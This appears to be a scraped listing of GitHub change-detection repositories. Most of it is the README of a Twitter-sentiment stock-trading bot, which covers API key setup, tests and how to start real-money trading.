Hall. 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dgryski / Go ChangeOnline Change Detection Algorithm
statefb / Singular Spectrum Transformationfast implementation of singular spectrum transformation (change point detection algorithm)
epfl-lasa / Changepoint DetectionOnline Change-point Detection Algorithm for Multi-Variate Data: Applications on Human/Robot Demonstrations.
SMByC / CCD PluginThe CCD-Plugin uses Google Earth Engine to get Landsat or Sentinel2 datasets and run the Continuous Change Detection (CCDC) algorithm to analyze the trends and breakpoints of change over multi-year time series at a given coordinate.
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kourenke / Infrared Small Target TrackingTo solve the problem of infrared (IR) small target tracking loss or error caused by factors such as scale changes, motion blur, occlusion, etc., this paper proposes a multi-strategy fusion tracking algorithm using an IR small target segmentation network as the detection head, which mainly includes six strategies.
dymaxionlabs / Massive Change DetectionQGIS 2 plugin for applying change detection algorithms on high resolution satellite imagery
ginking / Archimedes 1Archimedes 1 is a bot based sentient based trader, heavily influenced on forked existing bots, with a few enhancements here or there, this was completed to understand how the bots worked to roll the forward in our own manner to our own complete ai based trading system (Archimedes 2:0) This bot watches [followed accounts] tweets and waits for them to mention any publicly traded companies. When they do, sentiment analysis is used determine whether the opinions are positive or negative toward those companies. The bot then automatically executes trades on the relevant stocks according to the expected market reaction. The code is written in Python and is meant to run on a Google Compute Engine instance. It uses the Twitter Streaming APIs (however new version) to get notified whenever tweets within remit are of interest. The entity detection and sentiment analysis is done using Google's Cloud Natural Language API and the Wikidata Query Service provides the company data. The TradeKing (ALLY) API does the stock trading (changed to ALLY). The main module defines a callback where incoming tweets are handled and starts streaming user's feed: def twitter_callback(tweet): companies = analysis.find_companies(tweet) if companies: trading.make_trades(companies) twitter.tweet(companies, tweet) if __name__ == "__main__": twitter.start_streaming(twitter_callback) The core algorithms are implemented in the analysis and trading modules. The former finds mentions of companies in the text of the tweet, figures out what their ticker symbol is, and assigns a sentiment score to them. The latter chooses a trading strategy, which is either buy now and sell at close or sell short now and buy to cover at close. The twitter module deals with streaming and tweeting out the summary. Follow these steps to run the code yourself: 1. Create VM instance Check out the quickstart to create a Cloud Platform project and a Linux VM instance with Compute Engine, then SSH into it for the steps below. The predefined machine type g1-small (1 vCPU, 1.7 GB memory) seems to work well. 2. Set up auth The authentication keys for the different APIs are read from shell environment variables. Each service has different steps to obtain them. Twitter Log in to your Twitter account and create a new application. Under the Keys and Access Tokens tab for your app you'll find the Consumer Key and Consumer Secret. Export both to environment variables: export TWITTER_CONSUMER_KEY="<YOUR_CONSUMER_KEY>" export TWITTER_CONSUMER_SECRET="<YOUR_CONSUMER_SECRET>" If you want the tweets to come from the same account that owns the application, simply use the Access Token and Access Token Secret on the same page. If you want to tweet from a different account, follow the steps to obtain an access token. Then export both to environment variables: export TWITTER_ACCESS_TOKEN="<YOUR_ACCESS_TOKEN>" export TWITTER_ACCESS_TOKEN_SECRET="<YOUR_ACCESS_TOKEN_SECRET>" Google Follow the Google Application Default Credentials instructions to create, download, and export a service account key. export GOOGLE_APPLICATION_CREDENTIALS="/path/to/credentials-file.json" You also need to enable the Cloud Natural Language API for your Google Cloud Platform project. TradeKing (ALLY) Log in to your TradeKing (ALLY account and create a new application. Behind the Details button for your application you'll find the Consumer Key, Consumer Secret, OAuth (Access) Token, and Oauth (Access) Token Secret. Export them all to environment variables: export TRADEKING_CONSUMER_KEY="<YOUR_CONSUMER_KEY>" export TRADEKING_CONSUMER_SECRET="<YOUR_CONSUMER_SECRET>" export TRADEKING_ACCESS_TOKEN="<YOUR_ACCESS_TOKEN>" export TRADEKING_ACCESS_TOKEN_SECRET="<YOUR_ACCESS_TOKEN_SECRET>" Also export your TradeKing (ALLY) account number, which you'll find under My Accounts: export TRADEKING_ACCOUNT_NUMBER="<YOUR_ACCOUNT_NUMBER>" 3. Install dependencies There are a few library dependencies, which you can install using pip: $ pip install -r requirements.txt 4. Run the tests Verify that everything is working as intended by running the tests with pytest using this command: $ export USE_REAL_MONEY=NO && pytest *.py --verbose 5. Run the benchmark The benchmark report shows how the current implementation of the analysis and trading algorithms would have performed against historical data. You can run it again to benchmark any changes you may have made: $ ./benchmark.py > benchmark.md 6. Start the bot Enable real orders that use your money: $ export USE_REAL_MONEY=YES Have the code start running in the background with this command: $ nohup ./main.py & License Archimedes (edits under Invacio) Max Braun Frame under Max Braun, licence under Apache V2 License. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
OpenTopography / 3D ICP DifferencingThis repository provides tools for on-demand 3D topographic change detection using a windowed iterative closest point (ICP) algorithm. It calculates displacement and rotation fields from high-resolution topographic point clouds to quantify surface deformation, especially along active faults.
